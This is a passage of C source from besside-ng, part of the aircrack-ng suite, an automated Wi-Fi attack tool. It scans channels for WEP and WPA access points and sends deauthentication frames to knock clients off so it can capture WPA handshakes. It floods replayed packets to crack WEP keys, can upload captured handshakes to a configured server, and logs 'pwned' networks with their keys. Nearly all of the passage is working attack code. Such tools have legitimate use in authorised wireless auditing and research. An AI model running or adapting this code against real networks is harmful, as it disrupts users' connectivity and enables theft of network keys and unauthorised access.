"\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; enum { STATE_SCAN = 0, STATE_ATTACK, STATE_DONE, }; enum { CRYPTO_NONE = 0, CRYPTO_WEP, CRYPTO_WPA, CRYPTO_WPA_MGT, }; enum { ASTATE_NONE = 0, ASTATE_PING, ASTATE_READY, ASTATE_DEAUTH, ASTATE_WPA_CRACK, ASTATE_WEP_PRGA_GET, ASTATE_WEP_FLOOD, ASTATE_DONE, ASTATE_UNREACH, }; enum { WSTATE_NONE = 0, WSTATE_AUTH, WSTATE_ASSOC, }; enum { V_NORMAL = 0, V_VERBOSE, }; struct cracker; struct network; typedef void (*timer_cb)(void*); typedef void (*cracker_cb)(struct cracker *, struct network *n); typedef int (*check_cb)(struct network *n); struct channel { int c_num; struct channel *c_next; }; struct conf { char *cf_ifname; struct channel cf_channels; int cf_hopfreq; int cf_deauthfreq; unsigned char *cf_bssid; int cf_attackwait; int cf_floodwait; char *cf_wordlist; int cf_verb; int cf_to; int cf_floodfreq; int cf_crack_int; char *cf_wpa; char *cf_wep; char *cf_log; int cf_do_wep; int cf_do_wpa; char *cf_wpa_server; #ifdef HAVE_PCRE pcre *cf_essid_regex; #endif } _conf; struct timer { struct timeval t_tv; timer_cb t_cb; void *t_arg; struct timer *t_next; }; struct packet { unsigned char p_data[2048]; int p_len; }; struct client { unsigned char c_mac[6]; int c_wpa; int c_wpa_got; int c_dbm; struct packet c_handshake[4]; struct client *c_next; }; struct speed { unsigned int s_num; struct timeval s_start; unsigned int s_speed; }; struct cracker { int cr_pid; int cr_pipe[2]; }; struct network { char n_ssid[256]; unsigned char n_bssid[6]; int n_crypto; int n_chan; struct network *n_next; struct timeval n_start; int n_have_beacon; struct client n_clients; int n_astate; int n_wstate; unsigned short n_seq; int n_dbm; int n_ping_sent; int n_ping_got; int n_attempts; unsigned char n_prga[2048]; int n_prga_len; unsigned char n_replay[2048]; int n_replay_len; int n_replay_got; struct timeval n_replay_last; struct speed n_flood_in; struct speed n_flood_out; int n_data_count; int n_crack_next; PTW_attackstate *n_ptw; struct cracker n_cracker_wep[2]; unsigned char n_key[64]; int n_key_len; struct packet n_beacon; int n_beacon_wrote; struct client *n_client_handshake; int n_mac_filter; struct client *n_client_mac; int n_got_mac; }; struct state { struct wif *s_wi; int s_state; struct timeval s_now; struct timeval s_start; struct network s_networks; struct network *s_curnet; struct channel *s_hopchan; unsigned int s_hopcycles; int s_chan; unsigned char s_mac[6]; struct timer s_timers; struct rx_info *s_ri; int s_wpafd; int s_wepfd; } _state; static void attack_continue(struct network *n); static void attack(struct network *n); void show_wep_stats(int UNUSED(B), int UNUSED(force), PTW_tableentry UNUSED(table[PTW_KEYHSBYTES][PTW_n]), int UNUSED(choices[KEYHSBYTES]), int UNUSED(depth[KEYHSBYTES]), int UNUSED(prod)) { } static void time_printf(int verb, char *fmt, ...) { time_t now = _state.s_now.tv_sec; struct tm *t; va_list ap; if (verb > _conf.cf_verb) return; t = localtime(&now); if (!t) err(1, "localtime()"); printf("\e[K"); printf("[%.2d:%.2d:%.2d] ", t->tm_hour, t->tm_min, t->tm_sec); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); } static void cracker_kill(struct cracker *c) { if (c->cr_pid) { kill(c->cr_pid, SIGKILL); if (c->cr_pipe[0]) close(c->cr_pipe[0]); } memset(c, 0, sizeof(*c)); } static char *mac2str(unsigned char *mac) { static char out[18]; snprintf(out, sizeof(out), "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); return out; } static void save_network(FILE *f, struct network *n) { int len; if (n->n_crypto != CRYPTO_WPA && n->n_crypto != CRYPTO_WEP) return; if (!n->n_have_beacon) return; if (n->n_astate != ASTATE_DONE) return; len = strlen(n->n_ssid); fprintf(f, "%s", n->n_ssid); while (len++ < 20) fprintf(f, " "); fprintf(f, "| "); len = 0; if (n->n_key_len) { for (len = 0; len < n->n_key_len; len++) { if (len != 0) fprintf(f, ":"); fprintf(f, "%.2x", n->n_key[len]); } len = n->n_key_len * 3 - 1; } if (n->n_client_handshake) { fprintf(f, "Got WPA handshake"); len = 17; } if (n->n_astate == ASTATE_UNREACH) { fprintf(f, "Crappy connection"); len = 17; } while (len++ < 38) fprintf(f, " "); fprintf(f, " | %s", mac2str(n->n_bssid)); fprintf(f, " | "); if (n->n_got_mac) fprintf(f, "%s", mac2str(n->n_client_mac->c_mac)); fprintf(f, "\n"); } static void save_log(void) { FILE *f; struct network *n = _state.s_networks.n_next; f = fopen(_conf.cf_log, "w"); if (!f) err(1, "fopen()"); fprintf(f, "# SSID "); fprintf(f, "| KEY | BSSID"); fprintf(f, " | MAC filter\n"); while (n) { save_network(f, n); n = n->n_next; } fclose(f); } static void do_wait(int UNUSED(x)) { wait(NULL); } #if 0 static inline void hexdump(void *p, int len) { unsigned char *x = p; while (len--) printf("%.2x ", *x++); printf("\n"); } #endif static void *xmalloc(size_t sz) { void *p = malloc(sz); if (!p) err(1, "malloc()"); return p; } static int time_diff(struct timeval *past, struct timeval *now) { int p = 0, n = 0; if (now->tv_sec > past->tv_sec) n = (now->tv_sec - past->tv_sec) * 1000 * 1000; else p = (past->tv_sec - now->tv_sec) * 1000 * 1000; n += now->tv_usec; p += past->tv_usec; return n - p; } #if 0 static inline void timer_print(void) { int i = 0; struct timer *t = _state.s_timers.t_next; printf( #if !defined( __APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__) "\nNow %lu.%lu\n", #else "\nNow %lu.%d\n", #endif _state.s_now.tv_sec, _state.s_now.tv_usec); while (t) { printf( #if !defined( __APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__) "%d) %lu.%lu %p(%p)\n", #else "%d) %lu.%d %p(%p)\n", #endif i++, t->t_tv.tv_sec, t->t_tv.tv_usec, t->t_cb, t->t_arg); t = t->t_next; } } #endif static void timer_next(struct timeval *tv) { struct timer *t = _state.s_timers.t_next; int diff; if (!t) { tv->tv_sec = 1; tv->tv_usec = 0; return; } diff = time_diff(&_state.s_now, &t->t_tv); if (diff <= 0) { tv->tv_sec = 0; tv->tv_usec = 0; return; } tv->tv_sec = diff / (1000 * 1000); tv->tv_usec = diff - (tv->tv_sec * 1000 * 1000); } static void timer_in(int us, timer_cb cb, void *arg) { struct timer *t = xmalloc(sizeof(*t)); struct timer *p = &_state.s_timers; int s; memset(t, 0, sizeof(*t)); t->t_cb = cb; t->t_arg = arg; t->t_tv = _state.s_now; t->t_tv.tv_usec += us; s = t->t_tv.tv_usec / (1000 * 1000); t->t_tv.tv_sec += s; t->t_tv.tv_usec -= s * 1000 * 1000; while (p->t_next) { if (time_diff(&t->t_tv, &p->t_next->t_tv) > 0) break; p = p->t_next; } t->t_next = p->t_next; p->t_next = t; // timer_print(); } static void timer_check(void) { // timer_print(); while (_state.s_timers.t_next) { struct timer *t = _state.s_timers.t_next; if (time_diff(&t->t_tv, &_state.s_now) < 0) break; _state.s_timers.t_next = t->t_next; t->t_cb(t->t_arg); free(t); } } static unsigned char *get_bssid(struct ieee80211_frame *wh) { int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; uint16_t *p = (uint16_t*) (wh + 1); if (type == IEEE80211_FC0_TYPE_CTL) return NULL; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) return wh->i_addr1; else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr2; // XXX adhoc? if (type == IEEE80211_FC0_TYPE_DATA) return wh->i_addr1; switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: case IEEE80211_FC0_SUBTYPE_REASSOC_REQ: case IEEE80211_FC0_SUBTYPE_DISASSOC: return wh->i_addr1; case IEEE80211_FC0_SUBTYPE_AUTH: /* XXX check len */ switch (le16toh(p[1])) { case 1: case 3: return wh->i_addr1; case 2: case 4: return wh->i_addr2; } return NULL; case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: case IEEE80211_FC0_SUBTYPE_REASSOC_RESP: case IEEE80211_FC0_SUBTYPE_PROBE_RESP: case IEEE80211_FC0_SUBTYPE_BEACON: case IEEE80211_FC0_SUBTYPE_DEAUTH: return wh->i_addr2; case IEEE80211_FC0_SUBTYPE_PROBE_REQ: default: return NULL; } } static struct network *network_get(struct ieee80211_frame *wh) { struct network *n = _state.s_networks.n_next; unsigned char *bssid = get_bssid(wh); if (!bssid) return NULL; while (n) { if (memcmp(n->n_bssid, bssid, sizeof(n->n_bssid)) == 0) return n; n = n->n_next; } return NULL; } static struct network *network_new(void) { struct network *n = xmalloc(sizeof(*n)); memset(n, 0, sizeof(*n)); n->n_crack_next = _conf.cf_crack_int; return n; } static void do_network_add(struct network *n) { struct network *p = &_state.s_networks; while (p->n_next) p = p->n_next; p->n_next = n; } static struct network *network_add(struct ieee80211_frame *wh) { struct network *n; unsigned char *bssid = get_bssid(wh); if (!bssid) return NULL; n = network_new(); memcpy(n->n_bssid, bssid, sizeof(n->n_bssid)); do_network_add(n); return n; } static inline void print_hex(void *p, int len) { unsigned char *x = p; while (len--) { printf("%.2x", *x++); if (len) printf(":"); } } static void network_print(struct network *n) { const char *crypto = "dunno"; switch (n->n_crypto) { case CRYPTO_NONE: crypto = "none"; break; case CRYPTO_WEP: crypto = "WEP"; break; case CRYPTO_WPA: crypto = "WPA"; break; case CRYPTO_WPA_MGT: crypto = "WPA-SECURE"; break; } time_printf(V_VERBOSE, "Found AP %s [%s] chan %d crypto %s dbm %d\n", mac2str(n->n_bssid), n->n_ssid, n->n_chan, crypto, n->n_dbm); } static void channel_set(int num) { if (wi_set_channel(_state.s_wi, num) == -1) err(1, "wi_set_channel()"); _state.s_chan = num; } static unsigned short fnseq(unsigned short fn, unsigned short seq) { unsigned short r = 0; assert(fn < 16); r = fn; r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); return htole16(r); } static void fill_basic(struct network *n, struct ieee80211_frame *wh) { uint16_t *p; memset(wh, 0, sizeof(*wh)); p = (uint16_t*) wh->i_dur; *p = htole16(32767); p = (uint16_t*)wh->i_seq; *p = fnseq(0, n->n_seq++); } static void wifi_send(void *p, int len) { int rc; struct tx_info tx; memset(&tx, 0, sizeof(tx)); rc = wi_write(_state.s_wi, p, len, &tx); if (rc == -1) err(1, "wi_wirte()"); } static void deauth_send(struct network *n, unsigned char *mac) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; uint16_t *rc = (uint16_t*) (wh + 1); fill_basic(n, wh); memcpy(wh->i_addr1, mac, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, n->n_bssid, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3)); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_DEAUTH; *rc++ = htole16(7); time_printf(V_VERBOSE, "Sending deauth to %s\n", mac2str(mac)); wifi_send(wh, (unsigned long) rc - (unsigned long) wh); } static void deauth(void *arg) { struct network *n = arg; struct client *c = n->n_clients.c_next; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_astate != ASTATE_DEAUTH) return; deauth_send(n, BROADCAST); while (c) { deauth_send(n, c->c_mac); c = c->c_next; } timer_in(_conf.cf_deauthfreq * 1000, deauth, n); } static int open_pcap(char *fname) { int fd; struct pcap_file_header pfh; fd = open(fname, O_RDWR | O_APPEND); if (fd != -1) { time_printf(V_NORMAL, "Appending to %s\n", fname); return fd; } memset(&pfh, 0, sizeof(pfh)); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; fd = open(fname, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) err(1, "open(%s)", fname); if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()"); return fd; } static void write_pcap(int fd, void *p, int len) { struct pcap_pkthdr pkh; memset(&pkh, 0, sizeof(pkh)); pkh.caplen = pkh.len = len; pkh.tv_sec = _state.s_now.tv_sec; pkh.tv_usec = _state.s_now.tv_usec; if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()"); if (write(fd, p, len) != len) err(1, "write()"); } static void packet_write_pcap(int fd, struct packet *p) { write_pcap(fd, p->p_data, p->p_len); } static void wpa_upload(void) { struct sockaddr_in s_in; int s; char buf[4096]; char boundary[128]; char h1[1024]; char form[1024]; struct stat stat; off_t off; int tot; int ok = 0; memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_port = htons(80); if (inet_aton(_conf.cf_wpa_server, &s_in.sin_addr) == 0) { struct hostent *he; he = gethostbyname(_conf.cf_wpa_server); if (!he) goto __no_resolve; if (!he->h_addr_list[0]) { __no_resolve: time_printf(V_NORMAL, "Can't resolve %s\n", _conf.cf_wpa_server); return; } memcpy(&s_in.sin_addr, he->h_addr_list[0], 4); } if ((s = socket(s_in.sin_family, SOCK_STREAM, 0)) == -1) err(1, "socket()"); if (connect(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { time_printf(V_NORMAL, "Can't connect to %s\n", _conf.cf_wpa_server); close(s); return; } if (fstat(_state.s_wpafd, &stat) == -1) err(1, "fstat()"); snprintf(boundary, sizeof(boundary), "37872861916401860062104501923"); snprintf(h1, sizeof(h1), "--%s\r\n" "Content-Disposition: form-data;" " name=\"file\";" " filename=\"wpa.cap\"\r\n" "Content-Type: application/octet-stream\r\n\r\n", boundary); snprintf(form, sizeof(form), "\r\n" "--%s\r\n" "Content-Disposition: form-data;" " name=\"fs\"\r\n\r\n" "Upload" "\r\n" "%s--\r\n", boundary, boundary); tot = stat.st_size; snprintf(buf, sizeof(buf), "POST /index.php HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: besside-ng\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" "Content-Length: %d\r\n\r\n", _conf.cf_wpa_server, boundary, (int) (strlen(h1) + strlen(form) + tot)); if (write(s, buf, strlen(buf)) != (int) strlen(buf)) goto __fail; if (write(s, h1, strlen(h1)) != (int) strlen(h1)) goto __fail; if ((off = lseek(_state.s_wpafd, 0, SEEK_CUR)) == (off_t) -1) err(1, "lseek()"); if (lseek(_state.s_wpafd, 0, SEEK_SET) == (off_t) -1) err(1, "lseek()"); while (tot) { int l = tot; if (l > (int) sizeof(buf)) l = sizeof(buf); if (read(_state.s_wpafd, buf, l) != l) err(1, "read()"); if (write(s, buf, l) != l) goto __fail; tot -= l; } if (write(s, form, strlen(form)) != (int) strlen(form)) goto __fail; if (lseek(_state.s_wpafd, off, SEEK_SET) == (off_t) -1) err(1, "lseek()"); while ((tot = read(s, buf, sizeof(buf) - 1)) > 0) { char *p; buf[tot] = 0; p = strstr(buf, "\r\n\r\n"); if (!p) goto __fail; p += 4; if (atoi(p) == 2) ok = 1; else goto __fail; } if (!ok) goto __fail; close(s); time_printf(V_NORMAL, "Uploaded WPA handshake to %s\n", _conf.cf_wpa_server); return; __fail: close(s); time_printf(V_NORMAL, "WPA handshake upload failed\n"); } static void wpa_crack(struct network *n) { int i; packet_write_pcap(_state.s_wpafd, &n->n_beacon); for (i = 0; i < 4; i++) { struct packet *p = &n->n_client_handshake->c_handshake[i]; if (p->p_len) packet_write_pcap(_state.s_wpafd, p); } fsync(_state.s_wpafd); if (_conf.cf_wpa_server) wpa_upload(); else { time_printf(V_NORMAL, "Run aircrack on %s for WPA key\n", _conf.cf_wpa); } /* that was fast cracking! */ n->n_astate = ASTATE_DONE; attack_continue(n); } static void attack_wpa(struct network *n) { switch (n->n_astate) { case ASTATE_READY: n->n_astate = ASTATE_DEAUTH; /* fallthrough */ case ASTATE_DEAUTH: deauth(n); break; case ASTATE_WPA_CRACK: wpa_crack(n); break; } } static void hop(void *arg) { int old = _state.s_chan; if (_state.s_state != STATE_SCAN) return; while (1) { struct channel *c = _state.s_hopchan->c_next; if (c->c_num == old) break; // skip unsupported chan. XXX check if we run out. if (wi_set_channel(_state.s_wi, c->c_num) == -1) { _state.s_hopchan->c_next = c->c_next; free(c); } else break; } _state.s_hopchan = _state.s_hopchan->c_next; _state.s_chan = _state.s_hopchan->c_num; // XXX assume we don't lose head if (_state.s_hopchan == _conf.cf_channels.c_next) _state.s_hopcycles++; timer_in(_conf.cf_hopfreq * 1000, hop, arg); } static void scan_start(void) { _state.s_state = STATE_SCAN; _state.s_hopcycles = 0; hop(NULL); /* XXX check other hopper */ } static void send_auth(struct network *n) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; uint16_t *rc = (uint16_t*) (wh + 1); fill_basic(n, wh); memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3)); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; *rc++ = htole16(0); *rc++ = htole16(1); *rc++ = htole16(0); wifi_send(wh, (unsigned long) rc - (unsigned long) wh); } static void ping_send(struct network *n) { send_auth(n); time_printf(V_VERBOSE, "Sending ping to %s\n", n->n_ssid); n->n_ping_sent++; } static void ping_reply(struct network *n, struct ieee80211_frame *wh) { uint16_t* p = (uint16_t*) (wh + 1); if (le16toh(p[1]) == 2) { time_printf(V_VERBOSE, "Ping reply %s\n", n->n_ssid); n->n_ping_got++; } } static void set_mac(void *mac) { if (memcmp(mac, _state.s_mac, 6) == 0) return; #if 0 if (wi_set_mac(_state.s_wi, mac) == -1) err(1, "wi_set_mac()"); #endif time_printf(V_VERBOSE, "Can't set MAC - this'll suck." " Set it manually to %s for best performance.\n", mac2str(mac)); memcpy(_state.s_mac, mac, 6); } static int have_mac(struct network *n) { if (!n->n_mac_filter) return 1; /* XXX try different clients based on feedback */ if (!n->n_client_mac) n->n_client_mac = n->n_clients.c_next; if (!n->n_client_mac) return 0; set_mac(n->n_client_mac->c_mac); return 1; } static void attack_ping(void *a) { struct network *n = a; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return; if (n->n_ping_sent == 10) { int got = n->n_ping_got; int sent = n->n_ping_sent; int loss = 100 - ((double) got / (double) sent * 100.0); if (loss < 0) loss = 0; time_printf(V_VERBOSE, "Ping results for %s %d/%d (%d%% loss)\n", n->n_ssid, got, sent, loss); if (loss >= 80) { time_printf(V_NORMAL, "Crappy connection - %s unreachable" " got %d/%d (%d%% loss) [%d dbm]\n", n->n_ssid, got, sent, loss, n->n_dbm); n->n_astate = ASTATE_UNREACH; } else n->n_astate = ASTATE_READY; attack_continue(n); return; } ping_send(n); timer_in(100 * 1000, attack_ping, n); } #ifdef HAVE_PCRE int is_filtered_essid(char *essid) { int ret = 0; if(_conf.cf_essid_regex) { return pcre_exec(_conf.cf_essid_regex, NULL, (char*)essid, strnlen((char *)essid, MAX_IE_ELEMENT_SIZE), 0, 0, NULL, 0) < 0; } return ret; } #endif // this should always return true -sorbo static int should_attack(struct network *n) { if (_conf.cf_bssid && memcmp(_conf.cf_bssid , n->n_bssid, 6) != 0) return 0; #ifdef HAVE_PCRE if (is_filtered_essid(n->n_ssid)) { return 0; } #endif if (!n->n_have_beacon) return 0; switch (n->n_astate) { case ASTATE_DONE: case ASTATE_UNREACH: if (_conf.cf_bssid) _state.s_state = STATE_DONE; return 0; } if (n->n_crypto != CRYPTO_WEP && n->n_crypto != CRYPTO_WPA) return 0; if (!_conf.cf_do_wep && n->n_crypto == CRYPTO_WEP) return 0; return 1; } static int check_ownable(struct network *n) { return should_attack(n); } static int check_owned(struct network *n) { /* resumed network */ if (n->n_beacon.p_len == 0) return 0; return n->n_astate == ASTATE_DONE; } static int check_unreach(struct network *n) { return n->n_astate == ASTATE_UNREACH; } static void print_list(char *label, check_cb cb) { struct network *n = _state.s_networks.n_next; int first = 1; printf("%s [", label); while (n) { if (cb(n)) { if (first) first = 0; else printf(", "); printf("%s", n->n_ssid); if (n->n_crypto == CRYPTO_WPA) printf("*"); } n = n->n_next; } printf("]"); } static void print_work(void) { time_printf(V_NORMAL, ""); print_list("TO-OWN", check_ownable); print_list(" OWNED", check_owned); if (_conf.cf_verb > V_NORMAL) print_list(" UNREACH", check_unreach); printf("\n"); save_log(); } static void pwned(struct network *n) { int s = (_state.s_now.tv_sec - n->n_start.tv_sec); int m = s / 60; s -= m * 60; time_printf(V_NORMAL, "Pwned network %s in %d:%.2d mins:sec\n", n->n_ssid, m, s); n->n_astate = ASTATE_DONE; print_work(); } static struct network *attack_get(void) { struct network *n = _state.s_networks.n_next, *start; if (_state.s_curnet && _state.s_curnet->n_next) n = _state.s_curnet->n_next; start = n; while (n) { if (should_attack(n)) return n; n = n->n_next; if (n == NULL) { /* reached head, lets scan for a bit */ if (_state.s_state == STATE_ATTACK) return NULL; n = _state.s_networks.n_next; } if (n == start) break; } return NULL; } static void attack_next(void) { struct network *n; if ((n = attack_get())) { attack(n); return; } if (_state.s_state == STATE_DONE) return; /* we aint got people to pwn */ if (_state.s_state == STATE_ATTACK) scan_start(); } static int watchdog_next(struct network *n) { if (n->n_crypto == CRYPTO_WEP && n->n_astate == ASTATE_WEP_FLOOD && n->n_replay_got) { int diff; int to = _conf.cf_floodwait * 1000 * 1000; diff = time_diff(&n->n_replay_last, &_state.s_now); if (diff < to) return to - diff; } return 0; } static void attack_watchdog(void *arg) { struct network *n = arg; int next; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return; next = watchdog_next(n); if (next == 0) { time_printf(V_VERBOSE, "Giving up on %s for now\n", n->n_ssid); attack_next(); } else timer_in(next, attack_watchdog, n); } static void network_auth(void *a) { struct network *n = a; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_wstate != WSTATE_NONE) return; if (!have_mac(n)) return; time_printf(V_VERBOSE, "Authenticating...\n"); send_auth(n); timer_in(_conf.cf_to * 1000, network_auth, n); } static void do_assoc(struct network *n, int stype) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; uint16_t *rc = (uint16_t*) (wh + 1); unsigned char *p; fill_basic(n, wh); memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3)); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | stype; *rc++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY | IEEE80211_CAPINFO_SHORT_PREAMBLE); *rc++ = htole16(0); p = (unsigned char*) rc; if (stype == IEEE80211_FC0_SUBTYPE_REASSOC_REQ) { memcpy(p, n->n_bssid, sizeof(n->n_bssid)); p += sizeof(n->n_bssid); } *p++ = IEEE80211_ELEMID_SSID; *p++ = strlen(n->n_ssid); memcpy(p, n->n_ssid, strlen(n->n_ssid)); p += strlen(n->n_ssid); // rates *p++ = IEEE80211_ELEMID_RATES; *p++ = 8; *p++ = 2 | 0x80; *p++ = 4 | 0x80; *p++ = 11 | 0x80; *p++ = 22 | 0x80; *p++ = 12 | 0x80; *p++ = 24 | 0x80; *p++ = 48 | 0x80; *p++ = 72; /* x-rates */ *p++ = IEEE80211_ELEMID_XRATES; *p++ = 4; *p++ = 48; *p++ = 72; *p++ = 96; *p++ = 108; wifi_send(wh, (unsigned long) p - (unsigned long) wh); } static void network_assoc(void *a) { struct network *n = a; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_wstate != WSTATE_AUTH) return; do_assoc(n, IEEE80211_FC0_SUBTYPE_ASSOC_REQ); time_printf(V_VERBOSE, "Associating...\n"); timer_in(_conf.cf_to * 1000, network_assoc, n); } static int need_connect(struct network *n) { if (n->n_crypto == CRYPTO_WPA) return 0; switch (n->n_astate) { case ASTATE_READY: case ASTATE_WEP_PRGA_GET: case ASTATE_WEP_FLOOD: return 1; default: return 0; } } static int network_connect(struct network *n) { switch (n->n_wstate) { case WSTATE_NONE: network_auth(n); break; case WSTATE_AUTH: network_assoc(n); break; case WSTATE_ASSOC: return 1; } return 0; } static void prga_get(struct network *n) { if (n->n_replay_len) { n->n_astate = ASTATE_WEP_FLOOD; attack_continue(n); return; } } static void speed_add(struct speed *s) { if (s->s_start.tv_sec == 0) memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start)); s->s_num++; } static void speed_calculate(struct speed *s) { int diff = time_diff(&s->s_start, &_state.s_now); if (diff < (1000 * 1000)) return; s->s_speed = (int) ((double) s->s_num / ((double) diff / 1000.0 / 1000.0)); memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start)); s->s_num = 0; } static void do_flood(struct network *n) { struct ieee80211_frame *wh = (struct ieee80211_frame*) n->n_replay; if (!network_connect(n)) return; memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2)); wifi_send(n->n_replay, n->n_replay_len); speed_add(&n->n_flood_out); } static void wep_flood(void *a) { struct network *n = a; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_astate != ASTATE_WEP_FLOOD) return; do_flood(n); timer_in(_conf.cf_floodfreq, wep_flood, n); } static void replay_check(void *a) { struct network *n = a; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_astate != ASTATE_WEP_FLOOD) return; if (n->n_replay_got > 3) return; n->n_replay_len = 0; n->n_astate = ASTATE_WEP_PRGA_GET; } static void start_flood(struct network *n) { n->n_replay_got = 0; /* refresh replay packet if it sucks */ timer_in(5 * 1000 * 1000, replay_check, n); wep_flood(n); } static void attack_wep(struct network *n) { if (!n->n_ssid[0]) { n->n_astate = ASTATE_DEAUTH; deauth(n); return; } if (!network_connect(n)) return; switch (n->n_astate) { case ASTATE_READY: n->n_astate = ASTATE_WEP_PRGA_GET; /* fallthrough */ case ASTATE_WEP_PRGA_GET: prga_get(n); break; case ASTATE_WEP_FLOOD: start_flood(n); break; } } static void attack_continue(struct network *n) { if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return; switch (n->n_astate) { case ASTATE_NONE: n->n_astate = ASTATE_PING; /* fall through */ case ASTATE_PING: n->n_ping_got = n->n_ping_sent = 0; attack_ping(n); return; case ASTATE_DONE: pwned(n); /* fallthrough */ case ASTATE_UNREACH: if (_conf.cf_bssid) _state.s_state = STATE_DONE; else attack_next(); return; } switch (n->n_crypto) { case CRYPTO_WPA: attack_wpa(n); break; case CRYPTO_WEP: attack_wep(n); break; } } static void attack(struct network *n) { _state.s_curnet = n; _state.s_state = STATE_ATTACK; channel_set(n->n_chan); time_printf(V_VERBOSE, "Pwning [%s] %s\n", n->n_ssid, mac2str(n->n_bssid)); if (n->n_start.tv_sec == 0) memcpy(&n->n_start, &_state.s_now, sizeof(n->n_start)); if (!_conf.cf_bssid) timer_in(_conf.cf_attackwait * 1000 * 1000, attack_watchdog, n); n->n_attempts++; attack_continue(n); } static void found_new_client(struct network *n, struct client *c) { time_printf(V_VERBOSE, "Found client for network [%s] %s\n", n->n_ssid, mac2str(c->c_mac)); if (n->n_mac_filter && !n->n_client_mac) attack_continue(n); } static void found_new_network(struct network *n) { struct client *c = n->n_clients.c_next; network_print(n); while (c) { found_new_client(n, c); c = c->c_next; } if (_conf.cf_bssid && memcmp(n->n_bssid, _conf.cf_bssid, sizeof(n->n_bssid)) == 0) { if (should_attack(n)) { attack(n); } else { time_printf(V_NORMAL, "Can't attack %s\n", n->n_ssid); _state.s_state = STATE_DONE; } } } static void packet_copy(struct packet *p, void *d, int len) { assert(len <= (int) sizeof(p->p_data)); p->p_len = len; memcpy(p->p_data, d, len); } static void packet_write_pcap(int fd, struct packet *p); static void found_ssid(struct network *n) { unsigned char *p; int ssidlen; int origlen; time_printf(V_NORMAL, "Found SSID [%s] for %s\n", n->n_ssid, mac2str(n->n_bssid)); /* beacon surgery */ p = n->n_beacon.p_data + sizeof(struct ieee80211_frame) + 8 + 2 + 2; ssidlen = strlen(n->n_ssid); assert((n->n_beacon.p_len + ssidlen) <= (int) sizeof(n->n_beacon.p_data)); assert(*p == IEEE80211_ELEMID_SSID); p++; origlen = *p; *p++ = ssidlen; assert(origlen == 0 || p[0] == 0); memmove(p + ssidlen, p + origlen, n->n_beacon.p_len - (p + origlen - n->n_beacon.p_data)); memcpy(p, n->n_ssid, ssidlen); n->n_beacon.p_len += ssidlen - origlen; if (n->n_client_handshake) { n->n_astate = ASTATE_WPA_CRACK; attack_continue(n); } if (n->n_crypto == CRYPTO_WEP) { n->n_astate = ASTATE_READY; attack_continue(n); } } static int parse_rsn(struct network *n, unsigned char *p, int l, int rsn) { int c; unsigned char *start = p; int psk = 0; if (l < 2) return 0; if (memcmp(p, "\x01\x00", 2) != 0) return 0; n->n_crypto = CRYPTO_WPA; if (l < 8) return -1; p += 2; p += 4; /* cipher */ c = le16toh(*((uint16_t*) p)); p += 2 + 4 * c; if (l < ((p - start) + 2)) return -1; /* auth */ c = le16toh(*((uint16_t*) p)); p += 2; if (l < ((p - start) + c * 4)) return -1; while (c--) { if (rsn && memcmp(p, "\x00\x0f\xac\x02", 